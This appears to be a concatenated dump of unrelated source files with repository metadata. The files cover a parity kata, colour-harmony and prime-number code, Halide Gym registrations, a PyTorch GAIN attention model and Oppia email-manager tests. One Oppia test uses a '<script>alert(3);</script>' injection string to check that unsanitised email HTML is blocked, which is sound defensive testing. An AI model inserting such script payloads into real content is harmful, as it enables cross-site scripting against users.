[ "MIT" ]
null
null
null
python/8Kyu/Opposites atract.py
athasv/Codewars-data
5e106466e709fd776f23585ad9f652d0d65b48d3
[ "MIT" ]
null
null
null
def lovefunc( flower1, flower2 ): if flower1 % 2 !=0 and flower2 % 2 ==0: return True if flower1 % 2 ==0 and flower2 % 2 !=0: return True if flower1 % 2 ==0 and flower2 % 2 ==0: return False if flower1 % 2 !=0 and flower2 % 2 !=0: return False
51.8
56
0.6139
44
259
3.613636
0.25
0.100629
0.251572
0.27673
0.842767
0.842767
0.842767
0.842767
0.842767
0.842767
0
0.136126
0.262548
259
5
57
51.8
0.696335
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0
0
0.2
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
e3811f80fe7516215f12d8ba9448f5c93f0328c1
3,957
py
Python
src/ColorHarmony.py
Parthipan-Natkunam/Chromic5
334cd2445bfb4cc983befe036e1487dd768f96f5
[ "MIT" ]
null
null
null
src/ColorHarmony.py
Parthipan-Natkunam/Chromic5
334cd2445bfb4cc983befe036e1487dd768f96f5
[ "MIT" ]
null
null
null
src/ColorHarmony.py
Parthipan-Natkunam/Chromic5
334cd2445bfb4cc983befe036e1487dd768f96f5
[ "MIT" ]
1
2018-09-11T08:14:59.000Z
2018-09-11T08:14:59.000Z
import random from .HEX2HSL import * from .HSL2HEX import * class ColorHarmony: def __init__(self): self.H = 0 self.S = 0 self.L = 0 def beginColoring(self,RGB=None): if RGB is None: self.C_list = [None]*256 for k in range(256): self.C_list[k] = k self.R = hex(random.choice(self.C_list))[2:] self.G = hex(random.choice(self.C_list))[2:] self.B = hex(random.choice(self.C_list))[2:] if(len(self.R)==1): self.R = "0" + self.R if(len(self.G)==1): self.G = "0" + self.G if(len(self.B)==1): self.B = "0" + self.B self.RGB = "#"+self.R+self.G+self.B else: self.RGB = RGB def analogus(self,RGB=None,n=None): if n is None: self.n = 2 else: self.n = n if RGB is None: self.beginColoring() else: self.beginColoring(RGB) HSLdata = HEX2HSL(self.RGB) Chromatics = HSLdata.getHSL() self.H = Chromatics[0] self.S = Chromatics[1] self.L = Chromatics[2] final_RGB = [None]*self.n for i in range(self.n-1): self.H += 0.08 self.L += ((random.randint(0,100))/100) if(self.H>1): self.H-=1 if(self.L>1): self.L-=1 res_HSL = [self.H,self.S,self.L] res_RGB = HSL2HEX(res_HSL) final_RGB[i] = res_RGB.getHEX() final_RGB[self.n-1]=self.RGB return(final_RGB) def compliment(self,RGB=None): if RGB is None: self.beginColoring() else: self.beginColoring(RGB) self.n = 2 HSLdata = HEX2HSL(self.RGB) Chromatics = HSLdata.getHSL() self.H = Chromatics[0] self.S = Chromatics[1] self.L = Chromatics[2] final_RGB = [None]*self.n for i in range(self.n-1): self.H += 0.5 self.L += ((random.randint(0,100))/100) if(self.H>1): self.H-=1 if(self.L>1): self.L-=1 res_HSL = [self.H,self.S,self.L] res_RGB = HSL2HEX(res_HSL) final_RGB[i] = res_RGB.getHEX() final_RGB[self.n-1]=self.RGB return(final_RGB) def splitcompliments(self,RGB=None): if RGB is None: self.beginColoring() else: self.beginColoring(RGB) self.n = 3 HSLdata = HEX2HSL(self.RGB) Chromatics = HSLdata.getHSL() self.H = Chromatics[0] self.S = Chromatics[1] self.L = Chromatics[2] final_RGB = [None]*self.n for i in range(self.n-1): self.H+=0.4166666666667 self.L += ((random.randint(0,100))/100) if(self.H>1): self.H-=1 if(self.L>1): self.L-=1 res_HSL = [self.H,self.S,self.L] res_RGB = HSL2HEX(res_HSL) final_RGB[i] = res_RGB.getHEX() final_RGB[self.n-1]=self.RGB return(final_RGB) def triadic(self,RGB=None): if RGB is None: self.beginColoring() else: self.beginColoring(RGB) self.n = 3 HSLdata = HEX2HSL(self.RGB) Chromatics = HSLdata.getHSL() self.H = Chromatics[0] self.S = Chromatics[1] self.L = Chromatics[2] final_RGB = [None]*self.n for i in range(self.n-1): self.H+=0.3333 self.L += ((random.randint(0,100))/100) if(self.H>1): self.H-=1 if(self.L>1): self.L-=1 res_HSL = [self.H,self.S,self.L] res_RGB = HSL2HEX(res_HSL) final_RGB[i] = res_RGB.getHEX() final_RGB[self.n-1]=self.RGB return(final_RGB)
31.656
56
0.480414
537
3,957
3.463687
0.104283
0.061828
0.025806
0.043011
0.806452
0.806452
0.806452
0.793011
0.747849
0.747849
0
0.049261
0.384382
3,957
124
57
31.91129
0.714286
0
0
0.733871
0
0
0.001011
0
0
0
0
0
0
1
0.048387
false
0
0.024194
0
0.080645
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8ba8f77a128261cc43247bd990f7b4ea3c3ddd43
200
py
Python
src/lesson_the_internet/urllib_parse_urljoin_with_path.py
jasonwee/asus-rt-n14uhp-mrtg
4fa96c3406e32ea6631ce447db6d19d70b2cd061
[ "Apache-2.0" ]
3
2018-08-14T09:33:52.000Z
2022-03-21T12:31:58.000Z
src/lesson_the_internet/urllib_parse_urljoin_with_path.py
jasonwee/asus-rt-n14uhp-mrtg
4fa96c3406e32ea6631ce447db6d19d70b2cd061
[ "Apache-2.0" ]
null
null
null
src/lesson_the_internet/urllib_parse_urljoin_with_path.py
jasonwee/asus-rt-n14uhp-mrtg
4fa96c3406e32ea6631ce447db6d19d70b2cd061
[ "Apache-2.0" ]
null
null
null
from urllib.parse import urljoin print(urljoin('http://www.example.com/path/', '/subpath/file.html')) print(urljoin('http://www.example.com/path/', 'subpath/file.html'))
25
45
0.62
25
200
4.96
0.56
0.193548
0.258065
0.306452
0.774194
0.774194
0.774194
0.774194
0.774194
0.774194
0
0
0.19
200
7
46
28.571429
0.765432
0
0
0.4
0
0
0.457286
0
0
0
0
0
0
1
0
true
0
0.2
0
0.2
0.4
1
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
10
47c68e8574b2e701cc4a300d58f583358053fb6a
101
py
Python
red_raid_urllib.py
mwweinberg/red_raid
b6b38d3dd9a3377a07c006043f309d22cee7c672
[ "CC0-1.0" ]
null
null
null
red_raid_urllib.py
mwweinberg/red_raid
b6b38d3dd9a3377a07c006043f309d22cee7c672
[ "CC0-1.0" ]
null
null
null
red_raid_urllib.py
mwweinberg/red_raid
b6b38d3dd9a3377a07c006043f309d22cee7c672
[ "CC0-1.0" ]
1
2019-03-15T21:06:25.000Z
2019-03-15T21:06:25.000Z
import urllib urllib.urlretrieve('http://58.68.146.102/pic/101p/2000/04/2000040101.jpg', 'test.jpg')
33.666667
86
0.752475
17
101
4.470588
0.882353
0
0
0
0
0
0
0
0
0
0
0.298969
0.039604
101
2
87
50.5
0.484536
0
0
0
0
0.5
0.594059
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
1
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
47dd93ff9c34b74b62d10d17c9d3098933121d53
1,063
py
Python
projecteuler/problem_7_10001_prime.py
karolciba/playground
bfba14eaacfb6e7f820b85f95d9a1a72e251489e
[ "Unlicense" ]
null
null
null
projecteuler/problem_7_10001_prime.py
karolciba/playground
bfba14eaacfb6e7f820b85f95d9a1a72e251489e
[ "Unlicense" ]
null
null
null
projecteuler/problem_7_10001_prime.py
karolciba/playground
bfba14eaacfb6e7f820b85f95d9a1a72e251489e
[ "Unlicense" ]
null
null
null
def prime_gen(): from itertools import count primes = [] yield 2 for n in count(3,2): div = False if any(n % p == 0 for p in primes): div = True # print "testing", n, primes if not div: primes.append(n) yield n def prime_gen_f(): from itertools import count primes = [] yield 2 for n in count(3,2): div = False if any(n % p == 0 for p in primes if p ** 2 <= n): div = True # print "testing", n, primes if not div: primes.append(n) yield n def prime_no(no): g = prime_gen() p = 0 for i in xrange(1,no+1): p = g.next() if i == no: return p def prime_no_f(no): g = prime_gen_f() p = 0 for i in xrange(1,no+1): p = g.next() if i == no: return p def prime_no_ff(no): from prime import primes g = primes() p = 0 for i in xrange(1,no+1): p = g.next() if i == no: return p
20.056604
58
0.463782
165
1,063
2.921212
0.206061
0.082988
0.051867
0.037344
0.838174
0.838174
0.838174
0.838174
0.838174
0.838174
0
0.029605
0.428034
1,063
52
59
20.442308
0.763158
0.049859
0
0.75
0
0
0
0
0
0
0
0
0
1
0.113636
false
0
0.068182
0
0.25
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9a032f6da981ede186c7fd5ac4d5443dbf716fc6
3,045
py
Python
HalideRL/gym-halide/gym_halide/__init__.py
mpecenin/wscad-2019
7509188a5d0c8404359be19c3801bdb85975113d
[ "MIT" ]
7
2019-11-14T15:44:22.000Z
2021-10-31T21:53:38.000Z
HalideRL/gym-halide/gym_halide/__init__.py
mpecenin/wscad-2019
7509188a5d0c8404359be19c3801bdb85975113d
[ "MIT" ]
1
2021-01-06T08:42:52.000Z
2021-01-23T01:51:54.000Z
HalideRL/gym-halide/gym_halide/__init__.py
mpecenin/wscad-2019
7509188a5d0c8404359be19c3801bdb85975113d
[ "MIT" ]
null
null
null
from gym.envs.registration import register register( id='HalideBlur-v0', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 10, 'input_image': 'alfaromeo_gray_64x.png', 'max_stage_directive': 6 }, ) register( id='HalideBlur-v1', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 10, 'input_image': 'alfaromeo_gray_16x.png', 'max_stage_directive': 6 }, ) register( id='HalideBlur-v2', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 11, 'input_image': 'alfaromeo_gray_16x.png', 'max_stage_directive': 8 }, ) register( id='HalideBlur-v3', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 11, 'input_image': 'alfaromeo_gray_64x.png', 'max_stage_directive': 8 }, ) register( id='HalideBlur-v4', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 12, 'input_image': 'alfaromeo_gray_64x.png', 'max_stage_directive': 8 }, ) register( id='HalideHarris-v0', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 20, 'input_image': 'alfaromeo_rgb_16x.png', 'max_stage_directive': 6 }, ) register( id='HalideHarris-v1', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 21, 'input_image': 'alfaromeo_rgb_16x.png', 'max_stage_directive': 6 }, ) register( id='HalideHarris-v2', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 22, 'input_image': 'alfaromeo_rgb_16x.png', 'max_stage_directive': 8 }, ) register( id='HalideHarris-v3', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 22, 'input_image': 'alfaromeo_rgb_64x.png', 'max_stage_directive': 8 }, ) register( id='HalideHarris-v4', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 23, 'input_image': 'alfaromeo_rgb_64x.png', 'max_stage_directive': 8 }, ) register( id='HalideInterpolate-v0', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 30, 'input_image': 'alfaromeo_rgba_16x.png', 'max_stage_directive': 12 }, ) register( id='HalideInterpolate-v1', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 31, 'input_image': 'alfaromeo_rgba_16x.png', 'max_stage_directive': 8 }, ) register( id='HalideInterpolate-v2', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 31, 'input_image': 'alfaromeo_rgba_64x.png', 'max_stage_directive': 8 }, ) register( id='HalideInterpolate-v3', entry_point='gym_halide.envs:HalideEnv', kwargs={ 'algorithm_id': 32, 'input_image': 'alfaromeo_rgba_64x.png', 'max_stage_directive': 8 }, )
21.443662
48
0.611823
342
3,045
5.119883
0.131579
0.079954
0.103941
0.151913
0.944032
0.944032
0.944032
0.944032
0.873215
0.742433
0
0.036973
0.244992
3,045
141
49
21.595745
0.724663
0
0
0.606299
0
0
0.479803
0.21445
0
0
0
0
0
1
0
true
0
0.007874
0
0.007874
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
9a2d0c37d17a0e6a3447a2813d64ca5ac741861d
9,460
py
Python
models/gain_attention.py
ratkhohieu/Context-aware-emotion-recognition-based-on-visual-relationship-detection
84d9029a5a30ecc24450df7f8f9d9fe6761ddf71
[ "MIT" ]
null
null
null
models/gain_attention.py
ratkhohieu/Context-aware-emotion-recognition-based-on-visual-relationship-detection
84d9029a5a30ecc24450df7f8f9d9fe6761ddf71
[ "MIT" ]
null
null
null
models/gain_attention.py
ratkhohieu/Context-aware-emotion-recognition-based-on-visual-relationship-detection
84d9029a5a30ecc24450df7f8f9d9fe6761ddf71
[ "MIT" ]
null
null
null
from abc import ABC import numpy as np import torch import torch.nn as nn import torch.nn.functional as F class GAIN_regression(nn.Module, ABC): def __init__(self, model, grad_layer, num_classes): super(GAIN_regression, self).__init__() self.model = model # print(self.model) self.grad_layer = grad_layer self.num_classes = num_classes # Feed-forward features self.feed_forward_features = None # Backward features self.backward_features = None # Register hooks self._register_hooks(grad_layer) # sigma, omega for making the soft-mask self.sigma = 0.25 self.omega = 100 def _to_ohe(self, labels): ohe = torch.zeros((labels.size(0), self.num_classes), requires_grad=True) # print('ohe', ohe) for i, label in enumerate(labels): ohe[i, label] = 1 ohe = torch.autograd.Variable(ohe) # print('ohe', ohe) return ohe def _register_hooks(self, grad_layer): def forward_hook(module, grad_input, grad_output): self.feed_forward_features = grad_output # print(grad_output.shape) def backward_hook(module, grad_input, grad_output): self.backward_features = grad_output[0] # print(grad_output[0].shape) gradient_layer_found = False for idx, m in self.model.named_modules(): if idx == grad_layer: m.register_forward_hook(forward_hook) m.register_backward_hook(backward_hook) print("Register forward hook !") print("Register backward hook !") gradient_layer_found = True break # for our own sanity, confirm its existence if not gradient_layer_found: raise AttributeError('Gradient layer %s not found in the internal model' % grad_layer) def forward(self, images): is_train = self.model.training # print('is_train', is_train) with torch.enable_grad(): # labels_ohe = self._to_ohe(labels).cuda() # labels_ohe.requires_grad = True _, _, img_h, img_w = images.size() self.model.train(True) logits = self.model(images) # BS x num_classes self.model.zero_grad() pred = logits.sigmoid() # import pdb; pdb.set_trace() # print('pred', pred.shape) # for predict in pred: pred = pred.sum() # out_logits_am = [] # out_heatmap = [] pred.backward(retain_graph=True) self.model.zero_grad() backward_features = self.backward_features # BS x C x H x W # print(backward_features.shape) # bs, c, h, w = backward_features.size() # wc = F.avg_pool2d(backward_features, (h, w), 1) # BS x C x 1 x 1 """ The wc shows how important of the features map """ # Eq 2 fl = self.feed_forward_features # BS x C x H x W # print(fl.shape) # bs, c, h, w = fl.size() # fl = fl.view(1, bs * c, h, w) """ fl is the feature maps during feed-forward """ """ We do 2d convolution to find the Attention maps. We consider wc as a filter matrix. """ # Ac = F.relu(F.conv2d(fl, wc, groups=bs)) # # Resize to be as same as of image size # Ac = F.interpolate(Ac, size=images.size()[2:], mode='bilinear', align_corners=False) # Ac = Ac.permute((1, 0, 2, 3)) # heatmap = Ac # import pdb; pdb.set_trace() weights = F.adaptive_avg_pool2d(backward_features, 1) Ac = torch.mul(fl, weights).sum(dim=1, keepdim=True) Ac = F.relu(Ac) # Ac = F.interpolate(Ac, size=images.size()[2:], mode='bilinear', align_corners=False) Ac = F.upsample_bilinear(Ac, size=images.size()[2:]) heatmap = Ac """ Generate the soft-mask """ Ac_min = Ac.min() Ac_max = Ac.max() scaled_ac = (Ac - Ac_min) / (Ac_max - Ac_min) mask = F.sigmoid(self.omega * (scaled_ac - self.sigma)) masked_image = images - images * mask logits_am = self.model(masked_image) # print(logits_am) # out_logits_am.append(logits_am) # out_logits_am = torch.cat(out_logits_am) # out_logits_am = out_logits_am.sum(dim=0) # # out_heatmap.append(heatmap) return logits, logits_am, heatmap class GAIN_classification(nn.Module, ABC): def __init__(self, model, grad_layer, num_classes): super(GAIN_classification, self).__init__() self.model = model # print(self.model) self.grad_layer = grad_layer self.num_classes = num_classes # Feed-forward features self.feed_forward_features = None # Backward features self.backward_features = None # Register hooks self._register_hooks(grad_layer) # sigma, omega for making the soft-mask self.sigma = 0.25 self.omega = 100 def _register_hooks(self, grad_layer): def forward_hook(module, grad_input, grad_output): self.feed_forward_features = grad_output # print(grad_output) def backward_hook(module, grad_input, grad_output): self.backward_features = grad_output[0] # print(grad_output.shape) gradient_layer_found = False for idx, m in self.model.named_modules(): if idx == grad_layer: m.register_forward_hook(forward_hook) m.register_backward_hook(backward_hook) print("Register forward hook !") print("Register backward hook !") gradient_layer_found = True break # for our own sanity, confirm its existence if not gradient_layer_found: raise AttributeError('Gradient layer %s not found in the internal model' % grad_layer) def _to_ohe(self, labels): ohe = torch.zeros((labels.size(0), self.num_classes), requires_grad=True) for i, label in enumerate(labels): ohe[i, label] = 1 ohe = torch.autograd.Variable(ohe) # print('ohe', ohe.shape) return ohe def forward(self, images, labels): # Remember, only do back-probagation during the training. During the validation, it will be affected by bachnorm # dropout, etc. It leads to unstable validation score. It is better to visualize attention maps at the testset is_train = self.model.training with torch.enable_grad(): # labels_ohe = self._to_ohe(labels).cuda() # labels_ohe.requires_grad = True _, _, img_h, img_w = images.size() self.model.train(True) _, logits = self.model(images) # BS x num_classes self.model.zero_grad() if not is_train: pred = F.softmax(logits).argmax(dim=1) labels_ohe = self._to_ohe(pred).cuda() else: labels_ohe = self._to_ohe(labels).cuda() # print('labels_ohe', labels_ohe.shape) gradient = logits * labels_ohe grad_logits = (logits * labels_ohe).sum() # BS x num_classes grad_logits.backward(retain_graph=True) self.model.zero_grad() if is_train: self.model.train(True) else: self.model.train(False) self.model.eval() logits = self.model(images) backward_features = self.backward_features # BS x C x H x W # bs, c, h, w = backward_features.size() # wc = F.avg_pool2d(backward_features, (h, w), 1) # BS x C x 1 x 1 """ The wc shows how important of the features map """ # Eq 2 fl = self.feed_forward_features # BS x C x H x W # print(fl.shape) # bs, c, h, w = fl.size() # fl = fl.view(1, bs * c, h, w) """ fl is the feature maps during feed-forward """ """ We do 2d convolution to find the Attention maps. We consider wc as a filter matrix. """ # Ac = F.relu(F.conv2d(fl, wc, groups=bs)) # # Resize to be as same as of image size # Ac = F.interpolate(Ac, size=images.size()[2:], mode='bilinear', align_corners=False) # Ac = Ac.permute((1, 0, 2, 3)) # heatmap = Ac weights = F.adaptive_avg_pool2d(backward_features, 1) Ac = torch.mul(fl, weights).sum(dim=1, keepdim=True) Ac = F.relu(Ac) # Ac = F.interpolate(Ac, size=images.size()[2:], mode='bilinear', align_corners=False) Ac = F.upsample_bilinear(Ac, size=images.size()[2:]) heatmap = Ac """ Generate the soft-mask """ Ac_min = Ac.min() Ac_max = Ac.max() scaled_ac = (Ac - Ac_min) / (Ac_max - Ac_min) mask = F.sigmoid(self.omega * (scaled_ac - self.sigma)) masked_image = images - images * mask _, logits_am = self.model(masked_image) return logits, logits_am, heatmap
33.192982
120
0.564693
1,199
9,460
4.263553
0.153461
0.042254
0.029734
0.026995
0.839984
0.799491
0.793036
0.787559
0.771909
0.770931
0
0.009053
0.334461
9,460
284
121
33.309859
0.802891
0.242495
0
0.795455
0
0
0.02963
0
0
0
0
0
0
1
0.090909
false
0
0.037879
0
0.174242
0.030303
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7be7411710a61ca1042ebd57ae1a09b2e4736f93
33,589
py
Python
core/domain/email_manager_test.py
Himanshu1495/oppia
8a3a4d6ff633aca12bbd043648a2d45ccdd583e9
[ "Apache-2.0" ]
null
null
null
core/domain/email_manager_test.py
Himanshu1495/oppia
8a3a4d6ff633aca12bbd043648a2d45ccdd583e9
[ "Apache-2.0" ]
null
null
null
core/domain/email_manager_test.py
Himanshu1495/oppia
8a3a4d6ff633aca12bbd043648a2d45ccdd583e9
[ "Apache-2.0" ]
1
2021-09-22T10:37:34.000Z
2021-09-22T10:37:34.000Z
# Copyright 2014 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for methods relating to sending emails.""" import datetime import types from core.domain import config_services from core.domain import email_manager from core.platform import models from core.tests import test_utils import feconf (email_models,) = models.Registry.import_models([models.NAMES.email]) class EmailRightsTest(test_utils.GenericTestBase): """Test that only certain users can send certain types of emails.""" def setUp(self): super(EmailRightsTest, self).setUp() self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL) self.signup(self.MODERATOR_EMAIL, self.MODERATOR_USERNAME) self.moderator_id = self.get_user_id_from_email(self.MODERATOR_EMAIL) self.set_moderators([self.MODERATOR_USERNAME]) self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.set_admins([self.ADMIN_USERNAME]) def test_sender_id_validation(self): sender_ids_to_test = [ feconf.SYSTEM_COMMITTER_ID, self.admin_id, self.moderator_id, self.editor_id] # These are given in the order of user_ids_to_test. expected_validation_results = { feconf.EMAIL_INTENT_SIGNUP: (True, False, False, False), feconf.EMAIL_INTENT_DAILY_BATCH: (True, False, False, False), feconf.EMAIL_INTENT_MARKETING: (False, True, False, False), feconf.EMAIL_INTENT_PUBLICIZE_EXPLORATION: ( False, True, True, False), feconf.EMAIL_INTENT_UNPUBLISH_EXPLORATION: ( False, True, True, False), feconf.EMAIL_INTENT_DELETE_EXPLORATION: ( False, True, True, False), } # pylint: disable=protected-access for intent in expected_validation_results: for ind, sender_id in enumerate(sender_ids_to_test): if expected_validation_results[intent][ind]: email_manager._require_sender_id_is_valid( intent, sender_id) else: with self.assertRaisesRegexp( Exception, 'Invalid sender_id' ): email_manager._require_sender_id_is_valid( intent, sender_id) # Also test null and invalid intent strings. with self.assertRaisesRegexp(Exception, 'Invalid email intent string'): email_manager._require_sender_id_is_valid( '', feconf.SYSTEM_COMMITTER_ID) with self.assertRaisesRegexp(Exception, 'Invalid email intent string'): email_manager._require_sender_id_is_valid( '', self.admin_id) with self.assertRaisesRegexp(Exception, 'Invalid email intent string'): email_manager._require_sender_id_is_valid( 'invalid_intent', feconf.SYSTEM_COMMITTER_ID) with self.assertRaisesRegexp(Exception, 'Invalid email intent string'): email_manager._require_sender_id_is_valid( 'invalid_intent', self.admin_id) # pylint: enable=protected-access class SignupEmailTests(test_utils.GenericTestBase): """Test that signup-email sending functionality works as expected.""" def setUp(self): super(SignupEmailTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.set_admins([self.ADMIN_USERNAME]) self.new_footer = ( 'Unsubscribe from emails at your ' '<a href="https://www.site.com/prefs">Preferences page</a>.') self.new_email_content = { 'subject': 'Welcome!', 'html_body': ( 'Here is some HTML text.<br>' 'With a <b>bold</b> bit and an <i>italic</i> bit.<br>') } self.expected_text_email_content = ( 'Hi editor,\n' '\n' 'Here is some HTML text.\n' 'With a bold bit and an italic bit.\n' '\n' '\n' 'Unsubscribe from emails at your Preferences page.') self.expected_html_email_content = ( 'Hi editor,<br>' '<br>' 'Here is some HTML text.<br>' 'With a <b>bold</b> bit and an <i>italic</i> bit.<br>' '<br>' '<br>' 'Unsubscribe from emails at your ' '<a href="https://www.site.com/prefs">Preferences page</a>.') def test_email_not_sent_if_config_does_not_permit_it(self): with self.swap(feconf, 'CAN_SEND_EMAILS_TO_USERS', False): config_services.set_property( self.admin_id, email_manager.EMAIL_FOOTER.name, self.new_footer) config_services.set_property( self.admin_id, email_manager.SIGNUP_EMAIL_CONTENT.name, self.new_email_content) self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # Check that no email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(0, len(messages)) def test_email_not_sent_if_content_config_is_not_modified(self): can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) logged_errors = [] def _log_error_for_tests(error_message): logged_errors.append(error_message) log_new_error_counter = test_utils.CallCounter(_log_error_for_tests) log_new_error_ctx = self.swap( email_manager, 'log_new_error', log_new_error_counter) with can_send_emails_ctx, log_new_error_ctx: self.assertEqual(log_new_error_counter.times_called, 0) self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) # No user-facing error should surface. self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # However, an error should be recorded in the logs. self.assertEqual(log_new_error_counter.times_called, 1) self.assertEqual( logged_errors[0], 'Please ensure that the value for the admin config property ' 'SIGNUP_EMAIL_CONTENT is set, before allowing post-signup ' 'emails to be sent.') # Check that no email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(0, len(messages)) def test_email_not_sent_if_content_config_is_partially_modified(self): can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) config_services.set_property( self.admin_id, email_manager.SIGNUP_EMAIL_CONTENT.name, { 'subject': ( email_manager.SIGNUP_EMAIL_CONTENT.default_value[ 'subject']), 'html_body': 'New HTML body.', }) logged_errors = [] def _log_error_for_tests(error_message): logged_errors.append(error_message) log_new_error_counter = test_utils.CallCounter(_log_error_for_tests) log_new_error_ctx = self.swap( email_manager, 'log_new_error', log_new_error_counter) with can_send_emails_ctx, log_new_error_ctx: self.assertEqual(log_new_error_counter.times_called, 0) self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) # No user-facing error should surface. self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # However, an error should be recorded in the logs. self.assertEqual(log_new_error_counter.times_called, 1) self.assertEqual( logged_errors[0], 'Please ensure that the value for the admin config property ' 'SIGNUP_EMAIL_CONTENT is set, before allowing post-signup ' 'emails to be sent.') # Check that no email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(0, len(messages)) def test_email_with_bad_content_is_not_sent(self): can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) config_services.set_property( self.admin_id, email_manager.SIGNUP_EMAIL_CONTENT.name, { 'subject': 'New email subject', 'html_body': 'New HTML body.<script>alert(3);</script>', }) logged_errors = [] def _log_error_for_tests(error_message): logged_errors.append(error_message) log_new_error_counter = test_utils.CallCounter(_log_error_for_tests) log_new_error_ctx = self.swap( email_manager, 'log_new_error', log_new_error_counter) with can_send_emails_ctx, log_new_error_ctx: self.assertEqual(log_new_error_counter.times_called, 0) self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) # No user-facing error should surface. self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # However, an error should be recorded in the logs. self.assertEqual(log_new_error_counter.times_called, 1) self.assertTrue(logged_errors[0].startswith( 'Original email HTML body does not match cleaned HTML body')) # Check that no email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(0, len(messages)) def test_contents_of_signup_email_are_correct(self): with self.swap(feconf, 'CAN_SEND_EMAILS_TO_USERS', True): config_services.set_property( self.admin_id, email_manager.EMAIL_FOOTER.name, self.new_footer) config_services.set_property( self.admin_id, email_manager.SIGNUP_EMAIL_CONTENT.name, self.new_email_content) config_services.set_property( self.admin_id, email_manager.EMAIL_SENDER_NAME.name, 'Email Sender') self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # Check that an email was sent with the correct content. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(1, len(messages)) self.assertEqual( messages[0].sender, 'Email Sender <%s>' % feconf.SYSTEM_EMAIL_ADDRESS) self.assertEqual(messages[0].to, self.EDITOR_EMAIL) self.assertEqual(messages[0].subject, 'Welcome!') self.assertEqual( messages[0].body.decode(), self.expected_text_email_content) self.assertEqual( messages[0].html.decode(), self.expected_html_email_content) def test_email_only_sent_once_for_repeated_signups_by_same_user(self): with self.swap(feconf, 'CAN_SEND_EMAILS_TO_USERS', True): config_services.set_property( self.admin_id, email_manager.EMAIL_FOOTER.name, self.new_footer) config_services.set_property( self.admin_id, email_manager.SIGNUP_EMAIL_CONTENT.name, self.new_email_content) 